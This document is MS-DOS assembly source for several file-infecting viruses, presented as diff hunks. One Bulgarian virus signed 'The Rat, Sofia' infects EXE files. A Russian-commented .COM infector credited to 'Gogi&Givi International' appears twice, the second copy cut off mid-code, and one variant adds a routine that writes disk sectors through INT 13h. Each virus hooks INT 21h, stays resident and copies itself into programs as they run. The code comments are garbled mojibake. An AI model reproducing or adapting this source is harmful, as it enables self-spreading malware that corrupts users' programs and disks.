data_13e equ 1000h ; (6B7E:1000=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
exev proc far
start:
mov dx,offset data_1 ; (6B7E:010A=0Ah)
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp loc_2 ; (0A10)
data_1 db 0Ah, 0Dh, '‚ ¸¨¿² ¿§®¢¨° ¥ § °¨¡¥­. '
db 'Œ  © ±¬¥«® ! ..', 0Ah, 0Dh, '$'
db 0
db 1928 dup (0)
data_3 dw 0
db 0, 0, 0, 0
data_4 dw 0
data_5 dw 0
data_6 dw 0
db 0, 0, 0, 0
data_7 dw 0
db 0, 0, 0, 0
data_8 dw 0
data_9 dw 0
db 310 dup (0)
loc_2:
cld ; Clear direction
mov ax,352Bh
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov bp,ds
push cs
pop ds
add word ptr jmp_far+3,bp ; °¨¡ ¢¿ ªº¬ JMP FAR ²¥ª³¹¨¿ ±¥£¬¥­²
mov si,0A10h ; °¥¬¥±²¢  £® ¢ ±¥£¬¥­²  ª®©²® ±®·¨
mov di,si ; ES ²®¢  ¥ ±¥£¬¥­²  ­  INT 21H
mov cx,180h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es ; ‘«¥¤ ª ²® £® ¯°¥¬¥±²¨ ±¥ ®¡°º¹  ªº¬
mov ax,offset prehod ; ­¥£®,­® ­  ­®¢¨¿  ¤°¥±
push ax
retf ; Return far
prehod label word
lea di,[bx+1Bh] ; ‡ °¥¦¤  ±¥£¬¥­²  ­  ¢°º¹ ­¥ ¢ JMP FAR
mov al,0E9h ; ‡ ¯¨±¢  ª®¤  ­  JMP
stosb ; Store al to es:[di]
mov ax,offset jmp_far+3 ; ’®¢  ¥  ¤°¥±  ­  ª®©²® ²°¿¡¢  ¤  ±¥
sub ax,di ; ®¡°º¹ ,¨§¢ ¦¤  £® ®² ®²¬¥±²¢ ­¥²® ­ 
stosw ; INT 21H ¨ £® § ¯¨±¢ 
stosw ; ’®¢  § ¯¨±¢  ¢ ®±² ­ «¨²¥ ¡ ©²®¢¥
stosw ; ¯° §­¨ ¨­±²°³ª¶¨¨
mov cs:data_3,di ; ’®¢  ¥  ¤°¥±  ­  INT 21H
mov ax,ss ; ‚º§±² ­®¢¿¢  SS
sub ax,18h
cli
mov ss,ax
lea ax,[bp+10h] ; ‚§¥¬   ¤°¥±  ®² ª®©²® ²°¿¡¢ 
mov bx,11h ; ¤  ±¥ § °¥¤¨ ¯°®£° ¬ ² 
move label word
loc_3:
mov es,ax
add ax,18h
mov ds,ax
xor si,si ; °¥¬¥±²¢  ¡«®ª®¢¥ ¯® 180h ¡ ©²  § 
xor di,di ; ¤  £¨ ¢º°­¥ ­  ¬¿±²®²® ¨¬.° ¢¨ £®
mov cx,0C0h ; 11h ¯º²¨ §  ¤  ±¥ ¨§° ¢­¨
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
dec bx
jns loc_3 ; Jump if not sign
sti ; Enable interrupts
mov ds,bp ; ‚º§±² ­®¢¿¢  DS ¨ ES
push ds
pop es
jmp_far: db 0EAh,0,0,0,0 ; ’®¢  ¥  ¤°¥±  ­  §  ¢°º¹ ­¥ ¨ JMP FAR
int_21: cld ; Ž’ ’“Š ‡€Ž—‚€ ŽŽ’Š€’€ € INT 21H
cmp ah,3Dh ; '='
je loc_4 ; Jump if equal
cmp ah,4Bh ; 'K'
jne loc_5 ; Jump if not equal
loc_4: ; xref 6B7E:0A70
push es
call sub_5 ; (0AAD)
pop es
loc_5: ; xref 6B7E:0A75
jmp cs:data_3 ; JMP ªº¬ INT 21h
exev endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near ; —¥²¥/§ ¯¨±¢  ¯°¥´¨ª±  ­  ´ ©« 
mov cx,20h ;  §¯®« £  £® ®² INT 21H_SEG:8C2
mov dx,8C2h
jmp short loc_6 ; (0A90) ; (0A90)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_2:
mov ax,4200h
xor dx,dx ; Zero register
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
xor cx,cx
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_4: ; Ž¡°º¹  ±¥ ªº¬ INT 21H
loc_6: ; xref 6B7E:0A87
pushf ; Push flags
push cs
call cs:data_3 ; (6B7E:08C0=0)
retn
sub_1 endp
abort : mov al,3 ; ‚µ®¤­  ²®·ª  ­  INT 24H
iret ; Interrupt return
_1 dw 17D0h
dw 1509h
dw 154Ch
_2 dw 0F7Ah
dw 15DCh ;’³ª ¥ ¨  ¤°¥±  ­  INT 13H
dw 161Fh
_3 dw 0FC9h,15DCh,161Fh ;’®¢  ±  ¤ ­­¨²¥ § 
;INT 25H,INT 26H,INT 27H
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push di ; ‡ ¯ §¢  °¥£¨±²°¨²¥
push si
push dx
push cx
push bx
push ax
push ds
xor ax,ax ; Zero register
mov ds,ax
push cs
pop es
mov si,4Ch
push si
mov di,8E2h
mov cx,28h ; ‡ ¯ §¢  ¯°ªº±¢ ­¨¿²  ®² 13H ¤® 24H
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
pop di
push ds
pop es
mov al,70h ; 'p'
mov ds,ax
mov al,ds:data_13e ;®±² ¢¿ ¢ al ±º¤º°¦ ­¨¥²® ­  70:1000
mov si,offset _1
cmp al,0
je loc_7 ; Jump if equal
mov si,offset _2
cmp al,0Fh
je loc_7 ; Jump if equal
mov si,offset _3
loc_7: ; xref 6B7E:0AD5, 0ADC
push cs
pop ds
movsw
mov al,70h ; ‘¬¥­¿ INT 13H
stosw ; Store ax to es:[di]
mov di,90h
mov ax,offset abort ; ‘¬¥­¿  ¤°¥±  ­  INT 24H
stosw ; Store ax to es:[di]
mov ax,cs
stosw
movsw
stosw ; ‚°º¹  ®°¨£¨­ «­¨²¥ ¢µ®¤­¨
movsw ; ²®·ª¨ ­  INT 25H , INT 26H ,
stosw ; INT 27H
pop ds
mov ax,3D02h ; ޲¢ °¿ ´ ©«  §  ·¥²¥­¥/§ ¯¨±
call sub_4 ; (0A90)
push ds
push cs
pop ds
mov bx,ax
mov ax,5700h ; ‚§¥¬  ¤ ² ²  ¨ · ±  ­  ´ ©« 
jc loc_9 ; Jump if carry Set
call sub_4 ; (0A90)
push cx ; ‡ ¯ §¢  ¤ ² ²  ¨ · ±  ¢ ±²¥ª 
push dx
mov ah,3Fh ; ”³­ª¶¨¿ §  ·¥²¥­¥ ­  ¯°¥´¨ª± 
call sub_1 ; (0A81)
cmp data_5,0 ; °®¢¥°¿¢  §  ¯°¥¬¥±²¢ ¥¬¨ ±¨¬¢®«¨
jne loc_8 ; ‡ ²¢ °¿ ¨ ¨§«¨§ 
cmp data_6,ax ; °®¢¥°¿¢  ° §¬¥°  ­  ¯°¥´¨ª±  0 ?
jne loc_8 ; Jump if not equal
mov ax,data_4 ; ®±² ¢¿ ¢ AX ¤º«¦¨­ ²  ­  ´ ©« 
shl ax,1 ; “¬­®¦ ¢  ¿ ¯® 2
mov word ptr move-2,ax ; ‡ ¯¨±¢  ª®«ª® ¯º²¨ ¤  ±¥ ¯°¥¬¥±²¨
sub data_6,18h ;  ¬ «¿¢  ¤º«¦¨­ ²  ­  ¯°¥´¨ª± 
add data_7,18h ; “¢¥«¨· ¢  ®²¬¥±²¢ ­¥²® ­  SS ± 18h
mov ax,0A10h
xchg ax,data_8 ; IP ¤  ¡º¤¥ ­  ®²¬¥±²¢ ­¥ A10h
mov word ptr jmp_far+1,ax ; ‡ ¯ §¢  IP ¢ FAR JMP
mov ax,0FF5Fh ; ®±² ¢¿ CS ² ª ,·¥ CS:IP ¤ 
xchg ax,data_9 ; ±®·¨ ­ · «®²® ­  ¢¨°³± 
add ax,10h
mov word ptr jmp_far+3,ax ; ®±² ¢¿ ¢ JMP FAR ±¥£¬¥­² 
call sub_2 ; ®±² ¢¿ ¢ ­ · «®²® ­  ´ ©« 
mov ah,40h ; ‡ ¯¨±¢  ¯°¥´¨ª± 
call sub_1 ; (0A81)
mov ax,4200h
mov dx,80h ;°¥¬¥±²¢  ¯®ª § «¥¶  ­  80h
call sub_3 ; (0A8E)
mov cx,180h
mov dx,0A10h
mov ah,40h ; ‡ ¯¨±¢  ¢¨°³± 
call sub_4 ; (0A90)
loc_8: ; xref 6B7E:0B15, 0B1B
pop dx
pop cx
mov ax,5701h ; ‡ ¯¨±¢  ±² °¨¿ · ± ¨ ¤ ² 
call sub_4 ; (0A90)
mov ah,3Eh ; ‡ ²¢ °¿ ´ ©« 
call sub_4 ; (0A90)
loc_9: ; xref 6B7E:0B04
mov si,8E2h
mov di,4Ch
mov cx,28h ; ‚°º¹  ¯°¥ªº±¢ ­¨¿² 
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
pop ds
pop ax ; ‚º§±² ­®¢¿¢  °¥£¨±²°¨²¥
pop bx
pop cx
pop dx
pop si
pop di
retn
sub_5 endp
db 'The Rat, Sofia'
seg_a ends
end start

@@ -0,0 +1,261 @@
jumps
;
; ¥ª®¬¥­¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
; source code. (‚ᥠࠢ­® ‚ ¬ ¢ ­¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
;
; Œ¨«¥­ìª ï (¬ «¥­ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àï­ì, ᪮⨭ ...
;
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
; § ¯ãáâ¨âì - ¯®ª  á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ­  ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
; 21-£® ¨­â¥àà ¯â , ­¥ áªà뢠¥â ᢮¥ ⥫® ¦¨à­®¥ ¢ ãâ¥á å, § à ¦¥­­ë¥
; ä ©«ë ®¯®§­ ¥â ¯® èãਪ¥­ã (â ª®© ⨯  §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
; ¢®áâ®ç­ëå ­ à®¤®¢ ¤«ï ®âᥪ ­¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦­¥£®
; ᢮¥£®), à á¯®«®¦¥­­®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ­ ç « ,   ᢮¥ ­ «¨ç¨¥ ¢
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ­¥ â ª®¥
; á«®¢®,   word 0BABAh), ¢ë¯®«­ï¥â 21-¥ ¨­â¥à࠯⮢ ­¨¥ ¨ ᬮâà¨â,
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â çª®© ¢á¥ ¯®­ïâ­®.
;
; Copyright (c) 1992, Gogi&Givi International
;
.model tiny
.code
org 0100h
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª  ã ¢¨àãá  ¯ à £à ä®¢
VirLen equ (endvir-StartVirus) ;  §¬¥àë ¡îáâ  ¢¨àãá  ¢
; âà¥ã£®«ì­ëå ª¨«®¬¥âà å
gadost:
db 'è' ; …â® ª®¤ CALL
dw StartVirus-$-2 ; € ¥â® ᬥ饭¨¥ ­  StartVirus
db 15,09h ; ˜ãਪ¥­ ¨ ®áâ â®ª ®â mov ah,
int 21h ; € íâ® ¢á¥ ­®à¬ «ì­ë©
ret ; ª®¤ ¦¥àâ¢ë
GoodMessage db '’®¢ à¨é ‹®§¨­áª¨©! ”€Š ž!',13,10,'$'
;  ª®áâ­ë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
; ‹®§¨­áª®£®
StartVirus:
pop si ; â® ç⮡ë ã§­ âì, ªã¤  ­ á
call EntryPoint ; § ­¥á«®
EntryPoint:
pop si ; ‚믨孥¬  ¤à¥á ­ ç «  § à §ë
push ds ; ‘®åà ­¨¬ ¯ àã-âனªã ॣ¨áâ஢...
push es
push si
mov ax,cs ; ‚®ááâ ­®¢¨¬ ᯥàâë¥ ¡ ©âë
mov es,ax ; ¨§ § ¤­¨æë ä ©« 
mov ds,ax
mov di,0100h
add si,RobbedBytes-EntryPoint
mov cx,4
cld ; â® ¢®ááâ ­®¢«¥­¨¥
rep movsb
pop si
mov ax,0ABABh ; ஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
jmp FucksNow ; …¥ 㦥 ®¡à ¡ â뢠îâ
NeedsBaba:
pop es
push es
mov ax,es ; Žâà뢠¥¬ ᥡ¥ á¥­â PSP
dec ax
mov es,ax ; ‘⮫쪮 ¢ ­ è¥© ¯ ª®áâ¨
mov ax,es:[3] ; ¯ à £à ä®¢
sub ax,virpar
mov es:[3],ax
mov bx,es:[1] ; «îá ®¤­  PSP
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
mov es,bx
push ds ; ã, íâ® ¯®­ïâ­®
xor ax,ax
mov ds,ax
mov ax,ds:[21h*4] ; ‡ å¢ â뢠¥¬ áâ àë©
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ®­ ­¥ áâ àë©,
mov cs:[si+Seg21-EntryPoint],ax ; ®­ ¤ ¦¥ «ãçè¥ ­®¢®£®
pop ds
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ­ ç «®
push si ; ­¨ç¥©­®£® ᥣ¬¥­â 
sub si,EntryPoint-StartVirus ; £¤¥-â® ­  § ¤¢®àª å
mov cx,VirLen ; ¯ ¬ï⨠­ è¥ £­ãá­®¥
rep movsb ; ⥫®
pop si
push ds ; ˆ áâ ¢¨¬ ­  㪠§ ­­®¥
xor ax,ax ; £­ãá­®¥ ⥫® ¢¥ªâ®à
mov ds,ax ; ¯à¥à뢠­¨ï 21h
mov word ptr ds:[21h*4],Int21Server-StartVirus
mov ds:[21h*4+2],es
pop ds
FucksNow:
pop es ; â® ¢ á«ãç ¥, ¥á«¨
pop ds ; ¯à¥¤«®¦¥­­®© ¦¥­é¨­®©
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
push si
xor ax,ax ; ‚ᥠ¢®ááâ ­ ¢«¨¢ ¥¬ ª
xor bx,bx ; ï¤à¥­¥ ”¥­¥ - ¨ ¤®¬®©,
xor di,di ; ª ¬ ¬¥
ret
Int21Server:
pushf ; â® ­®¢ë© ®¡à ¡®â稪
push ax ; 21-£® ¨­â 
push bx
push ds
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ­®¢¨¬ ॠªæ¨î
jne NotTest ; ­  ¯à¥¤«®¦¥­¨¥ ¦¥­é¨­ë
pop ds ; (¨«¨ í४æ¨î)
pop bx
pop ax
popf
mov ax,0FAAFh ; â® ­®à¬ «ì­ ï í४æ¨ï
iret ; (â® ¥áâì ॠªæ¨ï)
NotTest:
push cx ; ’ãâ ¬ë ª« áá­® ¨§¢à â¨¬áï,
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
xchg cl,ch ; ­ ¬ ᮢᥬ ­¥ ­ã¦­®
xor cl,4Bh ; ®¡à ¡ â뢠âì äã­ªæ¨î EXEC
pop cx ; (—⮡ ‹®§¨­áª¨© £®«®¢ã «®¬ «
jz Exec ; ¨ ç⮡ ã ­¥£® ®çª¨ § ¯®â¥«¨)
jmp NotExec
Exec:
mov bx,dx ; ®ª« ¤¥¬ ᬥ饭¨¥ ¨¬¥­¨
; § ¯ã᪠¥¬®£® ä ©«  ¢ BX
SearchZero:
cmp byte ptr ds:[bx],0 ; ஢¥à¨¬ ­  §¥àã
je ZeroFound ; €å, ª®­¥æ ¨¬¥­¨!
inc bx
jmp SearchZero
ZeroFound:
sub bx,11 ; —㤥᭮!
push es ; ஢¥à¨¬, ¢¤à㣠ª ª®©-
mov ax,cs ; ­¨¡ã¤ì ¯á¨å ¦¥« ¥â
mov es,ax ; § à §¨âì COMMAND.COM
mov cx,11
mov di,offset CommandName-StartVirus
Compare:
mov al,ds:[bx] ; â® ¢á¥ á«®¦­ ï ¨ ­ã¤­ ï
cmp al,es:[di] ; ¯à®æ¥¤ãà  ¯à®¢¥àª¨...
jne NotCommand
inc bx
inc di
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
cmp cx,0
jne Compare
pop es
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
; § à ¦ âì?!
NotCommand:
pop es ; ’ ¬ ¬ë á®å࠭﫨 祣®©-â 
push ax
push bx ; ‘®åà ­¨¬ ¢á¥, çâ® ¯«®å®
push cx ; «¥¦¨â, çâ®¡ë ­¥ ¯à®¯ «®
push dx
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥­â  (ä ©«)
int 21h
jc EndExec1 ; 뢠îâ ¨ £­ãâë¥ ¯à®¡ª¨
mov bx,ax ; ®ª« ¤¥¬ ¯à®¡ªã ®â ä ©«  ¢ BX
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â 
mov ax,cs
mov ds,ax
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
mov dx,offset RobbedBytes-StartVirus
int 21h ; ᯥàâë¥ ¡ ©âë
jc EndExec1
cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
je CloseFile ;   䨣  EXE § à ¦ âì???
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h ; ‹¥§¥¬ ¢ § ¤­¨æã ä ©« 
cmp ax,1000 ;   䨣  ­ ¬ ä ©«ë ¬¥­ìè¥
jl CloseFile ; 1 ª¨«®?
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
ja CloseFile
sub ax,3
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥­  ?
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
je CloseFile ; ˆª¥¡ ­ !
mov ax,cs
mov ds,ax
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
xor dx,dx ; ⥫® ¦¨à­®¥ ¢ § ¤­¨æ¥ ä ©« 
mov cx,VirLen
int 21h
xor cx,cx ; ˆ ¢ ­ ç «® ã¡¥£ ¥â, ç⮡ë
xor dx,dx ; JUMP â㤠 ¯®áâ ¢¨âì
mov ax,4200h
int 21h
mov ah,40h
mov dx,offset SuperByte-StartVirus ; ” ©« ­  â® ¨ ä ©«, ç⮡ë
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥­­ë©
int 21h ; á§ ¤¨ ¢¨àãá
jmp CloseFile
EndExec1: jmp EndExec
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
game: mov al,0
mov [count-0124h],al
mov ax,0308h
mov bx,offset endvir
mov dx,0000h
mov cx,0001h
int 13h
jmp eee
CloseFile:
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©«  - ­ ¬
int 21h ; ®­ ¡®«ìè¥ ¢  é¥ ­¥ ­ã¦¥­
push ds
push cs
pop ds
mov al,[count-0124h]
inc al
mov [count-0124h],al
cmp al,0eh
jl eee
mov ah,09
mov dx,offset mess1-0124h
int 21h
mov al,[count-0124h]
cmp al,0fh
jz game
eee: pop ds
EndExec:
pop dx ; Œë â ¬, ª ¦¨áì, á®å࠭﫨
pop cx ; ®¯ïâì 祣®©-â ?
pop bx
pop ax
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
NotExec:
;   á«ãç © á«¥¤ãîé¨å 堬᪨å à §à ¡®â®ª
Quit21Server:
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
pop bx ; STACK' ­ ­¥ ­ ¯®«­ï«¨?!
pop ax
popf ; …é¥ ¨ ä« £ ¬¨?!!!
db 0EAh
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
Seg21 dw 0000h
RobbedBytes:
mov dx,offset GoodMessage ; â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
db 0B4h
SuperByte db 'è' ; € íâ® ­¥ ᯥàâë¥, ­®
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
db 15 ; ˜ãਪ¥­ 
db '=>' ; â® ¤«ï ªà á®âë
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
count db 1 dup (0)
endvir:
end gadost ; ˆ ¢á¥!
@@ -0,0 +1,393 @@
;
; ¥ª®¬¥­¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
; source code. (‚ᥠࠢ­® ‚ ¬ ¢ ­¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
;
; Œ¨«¥­ìª ï (¬ «¥­ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àï­ì, ᪮⨭ ...
;
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
; § ¯ãáâ¨âì - ¯®ª  á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ­  ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
; 21-£® ¨­â¥àà ¯â , ­¥ áªà뢠¥â ᢮¥ ⥫® ¦¨à­®¥ ¢ ãâ¥á å, § à ¦¥­­ë¥
; ä ©«ë ®¯®§­ ¥â ¯® èãਪ¥­ã (â ª®© ⨯  §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
; ¢®áâ®ç­ëå ­ à®¤®¢ ¤«ï ®âᥪ ­¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦­¥£®
; ᢮¥£®), à á¯®«®¦¥­­®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ­ ç « ,   ᢮¥ ­ «¨ç¨¥ ¢
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ­¥ â ª®¥
; á«®¢®,   word 0BABAh), ¢ë¯®«­ï¥â 21-¥ ¨­â¥à࠯⮢ ­¨¥ ¨ ᬮâà¨â,
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â çª®© ¢á¥ ¯®­ïâ­®.
;
; Copyright (c) 1992, Gogi&Givi International
;
jumps
.model tiny
.code
org 0100h
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª  ã ¢¨àãá  ¯ à £à ä®¢
VirLen equ (endvir-StartVirus) ;  §¬¥àë ¡îáâ  ¢¨àãá  ¢
; âà¥ã£®«ì­ëå ª¨«®¬¥âà å
gadost:
db 'è' ; …â® ª®¤ CALL
dw StartVirus-$-2 ; € ¥â® ᬥ饭¨¥ ­  StartVirus
db 15,09h ; ˜ãਪ¥­ ¨ ®áâ â®ª ®â mov ah,
int 21h ; € íâ® ¢á¥ ­®à¬ «ì­ë©
ret ; ª®¤ ¦¥àâ¢ë
GoodMessage db '’®¢ à¨é ‹®§¨­áª¨©! ”€Š ž!',13,10,'$'
;  ª®áâ­ë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
; ‹®§¨­áª®£®
StartVirus:
pop si ; â® ç⮡ë ã§­ âì, ªã¤  ­ á
call EntryPoint ; § ­¥á«®
EntryPoint:
pop si ; ‚믨孥¬  ¤à¥á ­ ç «  § à §ë
push ds ; ‘®åà ­¨¬ ¯ àã-âனªã ॣ¨áâ஢...
push es
push si
mov ax,cs ; ‚®ááâ ­®¢¨¬ ᯥàâë¥ ¡ ©âë
mov es,ax ; ¨§ § ¤­¨æë ä ©« 
mov ds,ax
mov di,0100h
add si,RobbedBytes-EntryPoint
mov cx,4
cld ; â® ¢®ááâ ­®¢«¥­¨¥
rep movsb
pop si
mov ax,0ABABh ; ஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
jmp FucksNow ; …¥ 㦥 ®¡à ¡ â뢠îâ
NeedsBaba:
pop es
push es
mov ax,es ; Žâà뢠¥¬ ᥡ¥ á¥­â PSP
dec ax
mov es,ax ; ‘⮫쪮 ¢ ­ è¥© ¯ ª®áâ¨
mov ax,es:[3] ; ¯ à £à ä®¢
sub ax,virpar
mov es:[3],ax
mov bx,es:[1] ; «îá ®¤­  PSP
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
mov es,bx
push ds ; ã, íâ® ¯®­ïâ­®
xor ax,ax
mov ds,ax
mov ax,ds:[21h*4] ; ‡ å¢ â뢠¥¬ áâ àë©
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ®­ ­¥ áâ àë©,
mov cs:[si+Seg21-EntryPoint],ax ; ®­ ¤ ¦¥ «ãçè¥ ­®¢®£®
pop ds
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ­ ç «®
push si ; ­¨ç¥©­®£® ᥣ¬¥­â 
sub si,EntryPoint-StartVirus ; £¤¥-â® ­  § ¤¢®àª å
mov cx,VirLen ; ¯ ¬ï⨠­ è¥ £­ãá­®¥
rep movsb ; ⥫®
pop si
push ds ; ˆ áâ ¢¨¬ ­  㪠§ ­­®¥
xor ax,ax ; £­ãá­®¥ ⥫® ¢¥ªâ®à
mov ds,ax ; ¯à¥à뢠­¨ï 21h
mov word ptr ds:[21h*4],Int21Server-StartVirus
mov ds:[21h*4+2],es
pop ds
FucksNow:
pop es ; â® ¢ á«ãç ¥, ¥á«¨
pop ds ; ¯à¥¤«®¦¥­­®© ¦¥­é¨­®©
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
push si
xor ax,ax ; ‚ᥠ¢®ááâ ­ ¢«¨¢ ¥¬ ª
xor bx,bx ; ï¤à¥­¥ ”¥­¥ - ¨ ¤®¬®©,
xor di,di ; ª ¬ ¬¥
ret
Int21Server:
pushf ; â® ­®¢ë© ®¡à ¡®â稪
push ax ; 21-£® ¨­â 
push bx
push ds
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ­®¢¨¬ ॠªæ¨î
jne NotTest ; ­  ¯à¥¤«®¦¥­¨¥ ¦¥­é¨­ë
pop ds ; (¨«¨ í४æ¨î)
pop bx
pop ax
popf
mov ax,0FAAFh ; â® ­®à¬ «ì­ ï í४æ¨ï
iret ; (â® ¥áâì ॠªæ¨ï)
NotTest:
push cx ; ’ãâ ¬ë ª« áá­® ¨§¢à â¨¬áï,
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
xchg cl,ch ; ­ ¬ ᮢᥬ ­¥ ­ã¦­®
xor cl,4Bh ; ®¡à ¡ â뢠âì äã­ªæ¨î EXEC
pop cx ; (—⮡ ‹®§¨­áª¨© £®«®¢ã «®¬ «
jz Exec ; ¨ ç⮡ ã ­¥£® ®çª¨ § ¯®â¥«¨)
jmp NotExec
Exec:
mov bx,dx ; ®ª« ¤¥¬ ᬥ饭¨¥ ¨¬¥­¨
; § ¯ã᪠¥¬®£® ä ©«  ¢ BX
SearchZero:
cmp byte ptr ds:[bx],0 ; ஢¥à¨¬ ­  §¥àã
je ZeroFound ; €å, ª®­¥æ ¨¬¥­¨!
inc bx
jmp SearchZero
ZeroFound:
sub bx,11 ; —㤥᭮!
push es ; ஢¥à¨¬, ¢¤à㣠ª ª®©-
mov ax,cs ; ­¨¡ã¤ì ¯á¨å ¦¥« ¥â
mov es,ax ; § à §¨âì COMMAND.COM
mov cx,11
mov di,offset CommandName-StartVirus
Compare:
mov al,ds:[bx] ; â® ¢á¥ á«®¦­ ï ¨ ­ã¤­ ï
cmp al,es:[di] ; ¯à®æ¥¤ãà  ¯à®¢¥àª¨...
jne NotCommand
inc bx
inc di
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
cmp cx,0
jne Compare
pop es
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
; § à ¦ âì?!
NotCommand:
